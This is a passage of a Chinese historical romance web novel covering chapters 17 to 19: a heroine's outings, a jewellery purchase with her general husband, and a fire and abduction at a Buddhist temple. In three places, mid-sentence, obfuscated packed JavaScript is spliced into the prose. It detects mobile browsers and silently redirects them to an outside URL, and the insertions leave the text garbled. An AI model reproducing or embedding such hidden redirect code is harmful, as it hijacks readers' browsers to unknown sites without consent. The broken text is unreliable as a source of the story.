“姑娘,要不……咱们还是回将军府吧?”玉露一边留心人流,以免旁人冲撞了自家姑娘,一边试探道,“这样在街上停留久了总归不太安全,而且,今日出府前牧方还问了我要去何处。” 温轻竹拨开人流,到了僻静之处,才接上刚才的话题:“那你怎么和他说的?” 她出府是和吴雪离说过没错,可萧丞原并不知晓,他本就对自己有戒心,若让他知道了,指不定又要派人看着自己,那她的计划不就泡汤了? “姑娘放心,我机灵着呢。”玉露眉飞色舞的将当时的对话描述了一遍,“我和牧方说,姑娘家的事你少管,我和我家姑娘出门买胭脂水粉你也要跟来吗?他当时就脸红了,没有再追问什么。” “嘿嘿,谅他也不敢跟少将军那个大冰块告状。” “你们私下都叫他‘大冰块’吗?”温轻竹好笑道。 想了想萧丞原的样子,又冷又硬,别说还真挺符合的。只是,在旁人面前未必就是冰块了,想起这点,温轻竹怅然若失。 “快让一让!前面的,是找死吗?” 温轻竹转身看去,才发现一人一马直冲自己而来,离她仅有几步之遥,她想后退躲避,却因极度害怕,双腿动都动不了,僵在原地不知所措。 “姑娘,小心!”危急时刻,突然有人扯了自己袖子一把,将她拉到安全地带。 温轻竹惊魂未定,仍不失礼节道:“多谢公子相救。” 抬头一看,却是那日见过的,不由一惊:“原来是你。” “不错,是我。”纪良衡微微一笑,“看来在下与姑娘颇有缘分。” “姑娘,还好你没事,刚才真是吓死我了!”刚才那人骑马进闹市,把人群都冲散了,玉露也被挤到别处,好不容易才找到自家姑娘,转眼却见旁边还站着一个男子,定睛一看,却是上次在玉器店和姑娘看上同一个司南佩的男子。 “我没事,倒是你,快擦擦汗。”温轻竹看向玉露,又看了看对面的男子,“玉露,你还记得吗?这就是上次那位好心的公子。” 纪良衡接道:“在下姓纪,名良衡,家父是礼部尚书。” “原来是纪公子。”温轻竹说着,倒有些不好意思了,“没想到又欠了纪公子一份人情。” “没关系,来日方长嘛。”纪良衡丝毫不介意,满含笑意的双眼看着温轻竹,“上次我便想与姑娘结识,只是见姑娘行色匆忙只好作罢,不曾想竟有机会再见姑娘一面。” “哦,忘了说,小女姓温。”温轻竹只好顺着他的话介绍一下自己。 “温姑娘。”纪良 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即便她戴着帷帽,他也能看出来两人相处得很是融洽,这在将军府鲜少见到,至少在他面前时总是小心翼翼、强颜欢笑的,看得出来她在讨好自己,可更多的却是惧怕,何曾有过这般鲜活的模样? 话音刚落,杯子已被捏成碎片,鲜血顺着指缝流了出来。 牧方急得团团转:“少……少爷,你的手!” “不要紧,死不了!”萧丞原盯着自家夫人与旁的男子进了一间茶肆,沉声道,“去查清楚惊马的人身份。” 他没有忘记,温轻竹之所以和那个男子搭话,是因为方才有人当街纵马,没有控制好受惊的马匹。 萧丞原暴躁地从衣摆撕下布条,随便缠在了碎瓷割破的手心,霍然起身朝楼下走去。 牧方在后面小跑追着,“少爷,你等等我!” -- 温轻竹见纪良衡温润有礼,大概是个读书人,不似武将那般让人心生畏惧,在他面前不觉放松了许多,便摘下帷帽品茶。 她出来的目的是找些活计赚钱,清水巷自是不能再去了,她只能寄希望于别处,便略去身份不提,言语中谈及自己急需用钱的窘境。 纪良衡放下茶杯,立即开口:“温姑娘不必忧心,你兄长需要多少银两还清赌债?在下可以解姑娘燃眉之急。” “不,这是我家的私事,怎好麻烦纪公子呢。”温轻竹连忙摆手拒绝,面露纠结之色,沉吟片刻,“不过,若纪公子有心相帮,能否为我寻一份能赚钱的活计?” “不知温姑娘可识字?”纪良衡见温轻竹面色有异,连忙解释道,“你别误会,我只是想起一位开书铺的友人,他店里有许多绝版古籍需要誊抄,可他一个人忙不过来,招的伙计又不识字。” “我可以的,多谢纪公子!”温轻竹回过神来,感激地看着纪良衡。 刚刚纪良衡问她是否识字,让她一下子想起当初在安定侯府被骆宜秋逼着学琴棋书画的日子,她虽身份存疑,但好歹也是侯府养的,安定侯府还需她们联姻挣脸,是以这方面要求极为严格。 骆宜秋为了让她练就一手好字,每日罚她抄十遍《女则》经常抄到深夜,抄到右手酸软无力,她一度非常厌恶抄书。但是现在不一样了,既然抄书能赚钱,那她也不是不可以重新提笔。 “能帮到温姑娘就好,只是此事还需我回去同友人商议,请温姑娘耐心等待消息。”纪良衡虽不清楚她的变化怎么这样大,但还是为能帮上忙感到开心。 “好你个温轻竹,竟然私会外男,简直是不守妇道!” 正在这时,一道刺耳的女声打断了茶肆的平静。 17. 买首饰 不用看温轻竹也知道,是她那位姐姐——温紫衣来了。 果不其然,温紫衣正带着新丫鬟步履生风地走过来。 自从上次那件事败露,寒青便被发卖出府,安定侯府也重新采买了丫鬟,可她总觉得这新丫鬟芙叶没有之前的寒青机灵好使唤,弄得她这段时间都郁闷不已,这笔账要算在温轻竹头上。 冤家路窄,碰巧今日上街买珍宝阁新上的首饰就遇上了,还被她逮住私会外男,她可要好好挫挫温轻竹的威风,以免她认不清形势,不知谁才是正儿八经儿的主子。 温轻竹起身,戴好帷帽,唤道:“大姐姐。” 她已和纪良衡约好下次见面的时间,并不打算多做停留。 “你现在是有将军府做靠山了,越来越不把我放在眼里了。”温紫衣看她不愿搭理的模样就来气,上前扯下她的帷帽扔在地上,用不大不小的声音故意说道,“你说,要是少将军知晓你如此不守妇道,与旁的男人拉拉扯扯,他还会不会喜欢你?” 纪良衡忍不住开口道:“我和温姑娘只是碰巧遇上,姑娘何必血口喷人?” “你又是谁?我说话轮得到……”温紫衣话说到一半,看清纪良衡的相貌,突然收了声,转而柔声道,“这位公子,看来是我误会了,我们姐妹有段时日没见了,刚才是我一时激动说错了话,还望公子勿怪。” 纪良衡皱眉,用审视的目光扫了她一眼,心下判断多半是个嚣张任性的女子,便不欲搭理。 温轻竹趁温紫衣没有注意,带着玉露侧身从旁边走。 “站住!我让你走了吗?”这如青松白雪般的男子不理自己,温紫衣自讨没趣,便折腾起了温轻竹,她看得出来此人很在意她这个妹妹。 温轻竹蹙眉,眼下是在大街上,人多眼杂,她不欲与温紫衣产生冲突,只能站在原地让她发泄,以免激怒她后果更糟。 正在思考对策脱身,忽然之间,感到有人把她揽进怀里,温轻竹下意识便要挣脱,不停地挣扎着,却听熟悉的男声道:“遇到麻烦,不知道找我?” 温轻竹辨认出来人,当即不再胡乱挣扎,面上一喜:“少将军,你怎么来了?” 她抬头看见男人紧绷的下颌,刚到嘴边的话又忍住了。她知道,萧丞原这是在为自己解围。 “没什么事的话,我就带我夫人离开了。” 萧丞原紧紧搂着怀中女子,看向纪良衡的眼神中满是警告的意味,后者瞧着小鸟依人的少女欲言又止,终究还是什么也没说。 温紫衣自然不想这么轻易放过温轻竹,可又慑于萧丞原的威压,只敢出声喊了句“少将军”。 萧丞原只当没听见,搂着自家夫人走进人群,片刻间便不见踪迹。 走出茶肆好远,萧丞原依旧是那般姿势,亲密得有点过度了,温轻竹感受到男人炙热的体温,甚至能听到他沉稳有力的心跳声,臊得脖子都红了,她声如蚊呐,“少将军,这么多人看着呢。” 萧丞原这才松开她,随口问道:“怎么突然想起出府了?” 在他印象中,温轻竹是那种谨小慎微、不爱出门的女子,穿着打扮也一向朴素,一点也不像安定侯府嫡女应有的待遇,即便进了将军府,似乎也很少见她花精力在打扮上。倒是那个温紫衣,不论何时见到,通身穿戴都是时下长安城贵女最热衷的。 “玉露不是和牧方说过了嘛,我只是出来看看首饰。”温轻竹生怕他多问露馅,连忙补充道,“我知道父亲素来崇尚俭朴,可也得有几件像样的首饰来充门面,不能给将军府丢脸。” 原以为萧丞原会奚落她,没想到他却点点头:“好,那我们便去珍宝阁。” 说着,便朝着珍宝阁的方向走去。 温轻竹亦步亦趋跟在他后面,总算蒙混过关,在心里舒了口气。只是第一次同他上街,还是有点不太自在。他不是讨厌自己吗?突然对她这么好,还陪她买首饰,简直变了个人似的。 “小郎君,您是给夫人买首饰吧?”一进珍宝阁,掌柜客气得不得了,一个劲儿给萧丞原介绍店里的首饰。 “您看这碧玉镯,用的是上好的翡翠,多衬夫人的肤色!” “还有这耳坠,可是新到的,长安城贵女们争相选购呢,如今就剩下这最后一对……” 只要萧丞原看一眼,掌柜的就天花乱坠地介绍起来,温轻竹还是第一次进珍宝阁,见了各种金银玉饰,自然是移不开眼,但也只能强装镇定,尽量不多看一眼,以免暴露自己没见过什么世面。 萧丞原没有理会掌柜的推销,随手拿起一支踏雪寻梅簪,放在眼前仔细端详。 他从小跟随父亲行军打仗,边地苦寒,见过最多的便是傲雪凌霜仍毅然绽放芬芳的梅花。 “哎,公子真是好眼光,这簪子可是本店的镇店之宝,您把这簪子送给夫人,一定能恩爱白头!”掌柜的连忙上前说道,生怕错过了这单生意。 温轻竹也看向那支簪子,的确好看,只是…… 她想都没想,一把握住萧丞原的右手,看见他手上缠得乱七八糟的布条,心里猛然一惊,“你手怎么了?” “一点小伤,不碍事。”萧丞原不自在地抽回手。 “您和夫人真恩爱啊。”掌柜打趣道,他现在好像也没有那么怕这位冷面公子了,又看向萧丞原手里的簪子,“您看这簪子……” “哦,是这样的,这簪子是镇店之宝,是老夫花了五十两才进购的,看在您二位的面子上,就给您算四十五两。” “这么贵?”玉露低呼出声。 温轻竹也愣住了,她喜欢归喜欢,可也不能这么浪费银两啊,只好狠心收回目光,“少将军,要不……” “这簪子我要了,”萧丞原朗声开口,又点了之前看过的几样首饰,“还有这个,这个……都给我包起来。” 掌柜送到门口,乐不可支道:“二位常来啊!” 温轻竹默默在心里想着,就这几样首饰都去了八十两银子,她得挣多久啊! 她只是随口说说,没想到萧丞原还真买了,有种说不清道不明的感觉在心里蔓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068446|178795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 延。 牧方拿着包裹,在后面和玉露小声道:“你看,我们少将军就是面冷心热。” “哼,我才不信呢。”玉露双手抱臂,不屑道。 牧方:“你是不是对少将军有什么成见?” 玉露:“我哪敢呀,主子就是主子,不论做了什么,都会被人夸。” “莫名其妙。”两人说话间已落后一大截,牧方追着两位主子来到医馆门前。 萧丞原盯着“悬壶济世”的牌匾看了好一会,皱眉道:“这点小伤过两天就好了,不必看大夫。” “不行,不行。”温轻竹拉住他的手,生怕人跑了,凝视着眼前人认真道,“少将军是要驰骋沙场、守卫疆土的,你是闵国的希望,一点小伤也是大事。” 她清楚的记得,大婚那日萧丞原受的伤有多严重,足足养了好几天才好,当时看着那么深的伤口她都吓坏了。听牧方说,那是北狄人报复所致。因而今日一看见他手上的伤,她就害怕又是北狄人所伤,他胡乱包扎不利于养伤,索性就软磨硬泡央求他来医馆找大夫看看。 孙大夫正好得闲,示意他们坐下,“两位是谁要看病?” 萧丞原想走,温轻竹一把拽住他,“大夫,帮他看看手上的伤。” 孙大夫三两下拆开布条,瞠目结舌道:“就这?再晚来一会就结痂了。” 温轻竹顺着孙大夫的目光看去,只见萧丞原手心几个不规则的小口子,只有一个最深,血已止住,有结痂的迹象。 “呃,那麻烦大夫上点药。”温轻竹尴尬不已,没想到萧丞原手上真是小伤,但已经来了,不愿伤及他的颜面,想了想又补充道,“天气热,伤口感染了就麻烦了。” “说的也是,夫人真贴心。”孙大夫乐呵呵地找出伤药,均匀洒在伤口上,再用绷带包扎好。 萧丞原微不可察地牵起唇角,旋即又恢复一贯的冷淡风格。 除了医馆,离将军府没有多远距离,两人便慢慢往回走。 温轻竹走在里侧,时不时瞟一眼男人的脸色,却见他仍旧是冷冰冰的样子,什么都看不出来,她心里那点忐忑才渐渐淡化了。 “少将军,你以后出府办事能带上我吗?”这话在心里过了几遍,她终是大着胆子问了出来。 怕男人拒绝,她又忙道:“我不会碍你事的。” “可以。”尽管不知道她怎么突然对出门这么有兴趣,萧丞原还是应了下来,左右是放在自己身边看着,他多观察观察就是了。 牧方和玉露走在后面,对视一眼,后者悄悄问道:“你知道少将军的伤是怎么弄的吗?” “咳咳,当然知道。”牧方边说边看着前面的主子,到底还是理智占了上风,一本正经道,“这是秘密。” 少将军耳力超凡,他若说出一个字就死定了! 玉露的好奇心被打碎,没好气道:“你故意的!” “说了你也不会信。”牧方说罢,加快脚步,追上两位主子。 玉露没辙,只好冷着脸也跟上去。 18. 上香 如今闵国佛法盛行,无他,只因前些年圣上梦见白虎现世,此乃灾难降临的不祥之兆,正惊恐万分时,忽见一慈眉善目的僧人割肉喂虎,那白虎果然不再作乱,而后那僧人骑着白虎走向深山,不见踪迹,圣上也从梦中惊醒过来。 圣上醒后,便觉梦中僧人乃佛祖化身,这个梦是在提醒他要大力弘扬佛法,造福百姓。 是以,圣上下令大兴土木,在闵国修建了大大小小几千座寺庙供奉香火。一时之间,闵国从上至下便兴起了崇尚佛法之风,人们有什么困难或是烦恼,多会选择去寺庙上一炷香,聍听法师教诲,自以为受益匪浅。 吴雪离对此深信不疑,每逢初一十五,都会去城外的法恩寺烧香拜佛。萧鸿晟是行兵打仗之人,不热衷此事,以往都是吴雪离带着丫鬟婆子自个儿去的。可如今不同了,家里多了个儿媳,她去法恩寺也有伴了。 架不住她热情相邀,温轻竹只得应了下来,想想离与纪良衡相约之日还有一两日时间,左右在家也无事,这两日萧丞原也在家待着,不出门就少不得要日日面对他,倒不如出去透透气。 “你知道母亲叫上你是什么意思吗?”萧丞原听她说完,略带调侃道。 温轻竹没有多想,便回道:“母亲大概是看我在家太闷了,想让我陪她一起也好解闷。” “你就当是吧。”萧丞原嗤笑一声,转身往外走。 真是个心思单纯的女人,单纯得有点过头了,甚至有些许蠢气。看来是他想多了,安定侯怎么会把这样的女人安插到自己身边。 临出府时,温轻竹却在马车旁边看见了一脸不耐烦的萧丞原。 他不是应该去军营了吗? 她以探询的眼神看过去,疑惑道:“少将军,你也和我们一道去法恩寺吗?” “嗯,有些公务,需去一趟。”萧丞原生硬地回答道。 吴雪离眉开眼笑地携着儿媳上了马车,正要吩咐车夫启程时,却听到了崔怜霜的声音。 “原哥哥,出去怎么不说一声?” 温轻竹掀起车帘,见崔怜霜拿出一方帕子,正准备给萧丞原擦汗。 “你瞧你,都出汗了也不知道擦擦。”语气柔媚,眼神更是柔情似水。 萧丞原面无表情地站在原地,并未推拒。 他倒要看看这个女人在玩什么花样,他自认为前两次已经说得很清楚了,没想到她还跟个没事人一样,像狗皮膏药般贴了上来。 棘手的是,母亲就在马车里,他又不能弄得太难看。 再看看温轻竹,却见她拉开的车帘早已合上。 萧丞原顿时烦躁不已,退开一步,冷声道:“行了!” 正欲上马启程,却听到车帘再次拉开,母亲从车窗探出头来,“是霜儿吗?” 崔怜霜捏着帕子,委委屈屈唤道:“表舅母。” 眼眶红红的,真是楚楚可怜,谁看了都心疼。 “霜儿是不是打扰到你们了?”崔怜霜见吴雪离盯着自己看,揩了揩眼角,低声细语道,“我只是听说原哥哥也要随表舅母、表嫂去法恩寺,特来送行的,没想要打扰你们的雅兴,我这就走。” 目睹一切的玉露在旁边翻了个白眼,心里默默腹诽:装得可真像。 “霜儿,你也上来吧。”吴雪离向来疼爱这个孤女,更见不得她这委屈模样,招呼她也一起,“法恩寺一向灵愿,你也来求下姻缘,说不准能找个好夫婿呢。” 她是挺喜欢崔怜霜的,这孩子打小就冰雪聪明,讨人喜欢,小时候她就曾和崔怜霜母亲打趣要给两个孩子定娃娃亲,怎奈天不遂人愿,后面发生了很多事情。如今原儿已成婚,只能尽量帮霜儿找个好归宿了。 “表舅母又在说笑了。”崔怜霜上了马车,紧挨着吴雪离坐下,瞟了眼另一边的温轻竹,“表嫂不介意吧?” “怎么会。”温轻竹回以浅笑。 -- 法恩寺香火鼎盛,如今正逢十五,更是游人如织,宛如集市般热闹。 温轻竹扶着吴雪离避开旁人,“母亲,当心台阶。” “没事儿,这法恩寺我可比你们熟多了。”吴雪离拍拍儿媳的手臂,笑道。 不知怎的,温轻竹隐隐有些不安,可瞧着人们热热闹闹的进出,也看不出任何异样。再看向身侧的萧丞原,才稍稍安了心。 一行人到了正殿,吴雪离硬是拉着几人上香许愿。萧丞原自是不信这些,只抱臂站在殿前等候。 忽然看见一褐色衣衫的男子鬼鬼祟祟地躲在树丛里张望,他心生疑窦,便上前几步,想要把人捉来盘问。谁知那人见行踪暴露,慌忙向后山密林跑去,萧丞原一直追到后山,在树林里找了好一阵也没找到,只得作罢。 待回到正殿,吴雪离已带着温轻竹、崔怜霜上完香。 刚出来,崔怜霜便问道:“表嫂,你刚刚许了什么愿?” 温轻竹见萧丞原循声看来,心里紧了紧,不自然道:“没许什么。” 她已做好随时离开的准备,自然许的是早日赚够钱,带着玉露和李嬷嬷离开长安城。但这是她的秘密,不能让旁人知晓。她知道萧丞原对自己无意,可毕竟事关将军府的颜面,他未必能轻易放自己离开。保险起见,她自是要保密的。 “看原哥哥干嘛?”崔怜霜拉着温轻竹的手不依不饶道,“是不是不好意思了,你就悄悄告诉我嘛。” 好一个姐妹情深,不知情的还以为两人有多么深厚的情谊呢。 温轻竹下意识收回了手。 “好了,霜儿。”吴雪离笑着看她,“不说你表嫂了,你许了什么愿呐?” 崔怜霜状似害羞,扭扭捏捏道:“不能告诉你们,说出来就不灵了。” 萧丞原无意参与她们的对话,只是他也有些好奇,温轻竹会许什么愿望。 “少将军,我们都搜过了,没有发现可疑的人。”牧方过来复命道。 萧丞原面色冷硬:“知道了,让他们继续观察,不要打草惊蛇。” 即便只是来上香,这次出门萧丞原仍旧带了十多个精锐隐在暗处,随时注意周围的风吹草动。法恩寺毕竟人多眼杂,多派点人手也是多一层防护。只是,他先前跟丢的可疑人物,这么多精锐也没能找到,说明那人还在寺庙的某个角落隐藏着,这可是一个不小的隐患。 温轻竹直觉不好,连忙问道:“少将军,刚刚发生什么事了?” “没什么,只是让他们加强护卫。”萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087462|178795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丞原面色如常,不想让她们知道了担心,尤其是母亲。 一个小沙弥走了过来,手上串着佛珠,对吴雪离恭敬行礼:“夫人,客房都备好了,请随我来。” 吴雪离是寺里的常客,每次来上香礼佛总要住上一段时日,少说也要住上一两日,便于听高僧讲经,因而寺里的僧人都习惯了,每次都会为她备好客房。 在客房放下行李,吴雪离便让小辈各自歇息,她去听高僧讲经辩法。 禅房里,弘让给来人斟满茶水,“夫人这次终于不是一个人来了。” “是啊,”吴雪离在弘让对面坐下,柔和的面容笑道,“法师也知道,我为这个儿子操了不少心,如今也算是了却了一桩心愿,只希望他们夫妻俩日后和和美美的,最好尽快为将军府繁衍下一代。” “阿弥陀佛,缘法自有天定,夫人切莫强求。” 吴雪离闻言,急道:“法师这是什么意思?” “贫僧只是一时感慨,夫人不必在意。”弘让回道,随后便开始讲经,对吴雪离的问话避而不答。 -- 法恩寺客房有限,小沙弥知晓萧丞原和温轻竹二人是夫妻,便将两人安排在一间客房。 温轻竹想着在将军府两人便每日共处一室,便应了下来。进了客房,见只有一张狭窄的床,顿时傻了眼,这么窄小的床,两个人只有紧贴着才能睡下。 想象一下那个场景,都令人耳热,“我去和玉露就一下。”温轻竹说完,便要往外跑。 “等等,你就住这里。”萧丞原一把拽住她,滚烫的手心熨帖着她的手腕,“若是不想母亲发现的话。” 他知道母亲这次是来为他们求子嗣的,若是让母亲发现两人现在还是分开睡定要多想。 再者,他总觉得先前看见的那个人不简单,保险起见,还是待在他身边最安全,不过这些就不必告诉她了。 “好,我不走。”温轻竹总算收回了手,为了缓解尴尬,说道,“那少将军,我们出去转转吧。” 左右时候还早,还有半个时辰才到用斋饭的时间,待在客房也无聊。 法恩寺在山顶,举目远眺,周遭风景尽收眼底,就在寺内散步,也令人心旷神怡,不少香客上完香通常会来后山转转。 两人一路无话,走到一方荷塘,温轻竹便停下脚步观赏荷花,满塘荷花亭亭玉立,粉白相间,煞是可爱,难怪当今才子作诗总爱选取荷花意象。 萧丞原看见少女入神的样子,骤然开口:“你喜欢?” “什么?”温轻竹没有听清,正要抬头确认,眼前突然一花,男人已递来一枝粉荷,“送你。” “多谢少将军!” 少女的眼眸亮亮的,在阳光照耀下好似星子闪烁,萧丞原忽然就有些移不开眼。 温轻竹拿着荷花喜不自胜,正要与萧丞原往回走,却听到细小的抽泣声。 “少将军,你听到什么声音了吗?”少女迟疑道。 萧丞原脸色顿时凝重起来,右手轻轻按在腰间佩剑上。 温轻竹循着声音,朝荷塘旁边假山走去,这下抽泣声更清晰了,是一个女子的哭声。 “有人吗?”她不敢靠近,在外面小声问道。 19. 突变 “谁?”抽泣声停止了,一个弱弱的女声道。 温轻竹听出她很警惕,忙安抚道:“别害怕,我是来帮你的。” 半晌,假山后才重新传出声音,“那好吧,我暂时相信你了。” 温轻竹拨开杂乱的树枝,以及挡路的碎石,好不容易来到假山后一个昏暗狭窄的角落,果然看见一个身穿鹅黄色襦裙的少女,正坐在那里,双手抱着膝盖,见有人来,她才缓缓抬起头来。 白皙的小圆脸上还挂着泪珠,眼睛红红的,一看便知哭了很久。 “你怎么了?”温轻竹靠近她,勉强蹲下问道。 “我……我偷偷跑到这里来玩,脚崴了。”圆脸姑娘擦擦眼角,“我娘亲肯定急坏了。” “别怕,我扶你起来。”温轻竹见她不排斥自己接近,便扶着她站起来。 刚走出狭窄的角落,见到天日,那姑娘却不动了,“他是谁?” 她指着萧丞原,流露出害怕的神色,明明已经怕极了,却强作镇定,“你站远点,别过来啊!” 温轻竹余光瞥过脸色阴郁的萧丞原,只觉好笑,但又不敢让他察觉,只好忍住笑意道:“别怕,他是我夫君,他就是这样,没有恶意的。” 不怪人家害怕,她日日与他朝夕相处,有时候都不明白他为何突然冷脸,真是令人捉摸不透。 萧丞原:“……” 他有那么可怕吗?他不过是怕有诈,温轻竹一人应付不过来,才跟了过来,没想到好心相助,对方却一点都不领情,还让他站远些。 “那好吧。”圆脸姑娘稍微放下心来,只是不敢再多看他一眼。 谈话间,温轻竹才知道,这圆脸姑娘是当朝丞相之女颜心芮。她早前便听说过,丞相老来得女,把女儿宝贝得跟眼珠子似的,捧在手上怕摔了,含在嘴里怕化了,就算她要天上的星星,也会想办法给她摘下来。 温轻竹扶着她慢慢朝客房走去,“那颜姑娘出来怎么不带个丫鬟?” 据她所知,颜心芮的贴身丫鬟都有五六个,出门动辄好几个五大三粗的壮汉护卫,怎么也不至于脚崴了一个人躲在假山后。 “我没让她们跟来。”颜心芮低着头,声音不自在道,“娘亲不让我乱跑,可我就是想出来看看,整日里都让一群人跟着,去哪都没人敢跟我玩,好没意思。” 温轻竹了然,笑道:“没事,这不是有我了吗?我陪你玩。” 人和人的烦恼是不一样的,她羡慕的亲情,对别人来说却是束缚自由的枷锁。 “温姐姐,你真好!”颜心芮开心极了,忍不住蹭了蹭她。 温轻竹失笑,算起来她也只比今年及笄的颜心芮大一岁,可后者毕竟是从小娇养的花朵,生性烂漫,与自己差别甚大。 “再不过去,一会可没斋饭吃了。”萧丞原冷冷道。 他就不明白,她对一个刚认识的人就能这么亲近吗?怎么对自己就诸多提防。难道,他还不如这个爱哭鼻子的女子?这样想着,心里一阵恶寒。 萧丞原蹙眉盯着两人相互扶持的背影,陷入了深思。 二人将颜心芮送至丞相夫人所在的客房,自是一番感激的话道不尽。温轻竹好不容易摆脱丞相夫人的盛情相邀,与颜心芮约好了明日再见。 -- 法恩寺的斋饭是一绝,前来上香的人除了听弘让法师讲经以外,多半也会来尝尝斋饭,只是来晚了就预定不上了。 温轻竹瞧着眼前各式各样的菜,简直不敢动筷,有像玉兔捧月的,有像胖猫扑蝶,还有像牡丹盛放的,甚至有些像是用肉做的…… “这些都是法恩寺的特色,”吴雪离见几人都在观看各种菜的造型并不举箸,就给他们一一介绍,“这些菜看起来用了很多材料,实际上都是正宗的素菜,多以小麦粉制成。” 温轻竹尝了一口“兔耳朵”,不由在心里惊叹这里的僧人手艺高超,想着赶明儿找个机会学一两道菜。 一顿斋饭下来,桌上的饭菜都已吃得干干净净,众人皆是意犹未尽。 小憩过后,吴雪离照旧去听弘让法师处讲经。 萧丞原不知有什么要事需要处理,只留下牧方守着温轻竹。 “少将军去哪了?”温轻竹状似不经意问道。 牧方硬着头皮道:“没去哪,就是出去透透气。” “你撒谎,”玉露毫不留情戳穿他,“若是真的,你为何都不敢看着我家姑娘说。” “小的卑微,不敢对少夫人无礼。” “那我也出去透透气。”温轻竹对玉露使了个眼色,后者会意,随时准备有所行动。 牧方连忙伸出双臂,拦住二人去路:“不可,少将军说了,务必保护您的安危。” 玉露从窗台下面捡了块厚实的砖头,在牧方眼前晃了晃,“少将军是不是有事瞒着我家姑娘?” 牧方耷拉着脑袋,只得实话实说:“寺里混进了一群势力不明之人,少将军怀疑是冲他来的,恐对您和老夫人不利,专程令我等守护左右。” 温轻竹心里咯噔一下,她的直觉是对的,果然有人要对他们下手。 可一直等着也不是办法,也不知道萧丞原处理好了没有。她便让玉露打开窗子,听听外面的动静。 许久之后,外面仍是一片寂静,只有三两个僧人来来往往的脚步声。 忽然,钟声响了数下。 “不好,是紧急预警的钟声。”牧方说道,已然变了脸色,“是那伙人有动作了。” “不好了,走水了!走水了!” “来人呐,快来救水,师父还在里面!” “快救救师父吧!” …… 温轻竹听出,其中有带他们来客房的小沙弥的声音。 她等不及了,朝门口奔去,“走,出去看看!” “可是,少将军交代过……”牧方面色犹豫。 温轻竹只道:“救人要紧。”那个方向,好像是禅房,弘让法师正是那小沙弥的师父,她心里已经有了不祥的预感。 话音刚落,她已拨开门闩,跑了出去。 玉露“哼”了一声,也跟在自家姑娘身后跑了。 牧方犹豫片刻,只得追上前去。 -- 禅房火势冲天,半边天都被火光映得更亮了。温轻竹赶到时寺里大小僧人正在一桶水一桶水地往里泼。 “怎么样,人救出来了吗?”温轻竹看向又提了一桶水的小沙弥,满眼期待地盯着他。 小沙弥眼眶红了,但仍执着地朝里面泼水,“师父……师父还在里面,师叔们说生还可能性不大。” “那么大火,师父一个人该有多害怕啊。” 温轻竹抱了一丝期冀,向几个救火的僧人描述吴雪离的模样:“那……你们有没有看到一位夫人?大概和我这般高,面容和蔼,很爱笑的。” 僧人们接二连三的摇头,令温轻竹丧失了再问的勇气,一下子跌坐在地,口中喃喃道:“母亲还在里面……” 玉露和牧方同样一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091391|178795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸悲痛,也不知该说些什么。 怎么就那么巧呢,这火烧起来的时候,禅房里就只有弘让法师和吴雪离在,眼下只怕是凶多吉少了。 在僧人们齐心协力的努力下,终于把火灭了,禅房已经烧得面目全非,看不出原来的样子了。 众僧人争先恐后地跑进刚灭火的禅房,寻找弘让的踪影,却都灰头土脸地走了出来。 “找到了吗?”温轻竹眼里迸出些许光彩。 吴雪离虽是她婆母,但嫁入将军府以来也给了她许多关怀,这是她过去十六年不曾感受到的。 领头的僧人念了一句佛号,“施主请节哀。” 温轻竹的身形摇摇欲坠,所幸玉露眼疾手快,扶住了她。 “姑娘,我们先回客房等消息吧,老夫人也不一定就……”玉露宽慰道。 温轻竹摇头,坚持道:“不,我就在这等。” “怎么了?”直到视线里出现熟悉的身影,温轻竹才回过神来。 她紧紧握住男人的手,一开口却是语不成句:“母亲她……” “糟了,中计了!”萧丞原带着一队精锐冲进了已成残垣断壁的禅房。 他出来时,已是一脸平静:“未见烧坏的布料和骨头,弘让法师和母亲应当是被人趁乱劫走了。” 小沙弥顿时语气轻快道:“太好了,师父还活着!” 温轻竹也感觉好些了,催促道:“快去找母亲!” 萧丞原点点头,想说什么,扫视了一下周围,到底还是低声吩咐牧方道:“是冲我来的,照顾好少夫人。” 想来就是之前那个可疑的人给对方报信劫走母亲的,弘让法师也是无妄之灾。只是没想到对方下手这么快,他刚发觉有一群不明势力的人上了山,禅房就被放火烧了,这是调虎离山之计。 温轻竹想想也就明白了,在玉露和牧方的护送下回到了客房。 只是她还有一点想不明白,寺庙里僧人众多,还时不时来往走动,那人是怎么在眼皮子底下劫走了两个活生生的人还不发出一点动静的。 “我累了,你们都出去吧。”温轻竹想得头疼,决定先休息一会。 玉露不放心道:“那姑娘有事记得叫我。” 待玉露合上门,她便躺在硬硬的木床上。 起初,温轻竹心里想着事儿,闭上眼也睡不着,在床上翻来覆去,薄薄的木板床咯吱咯吱响个不停。 不知过了多久,迷迷糊糊中,她似乎听到有人敲窗户的声音。 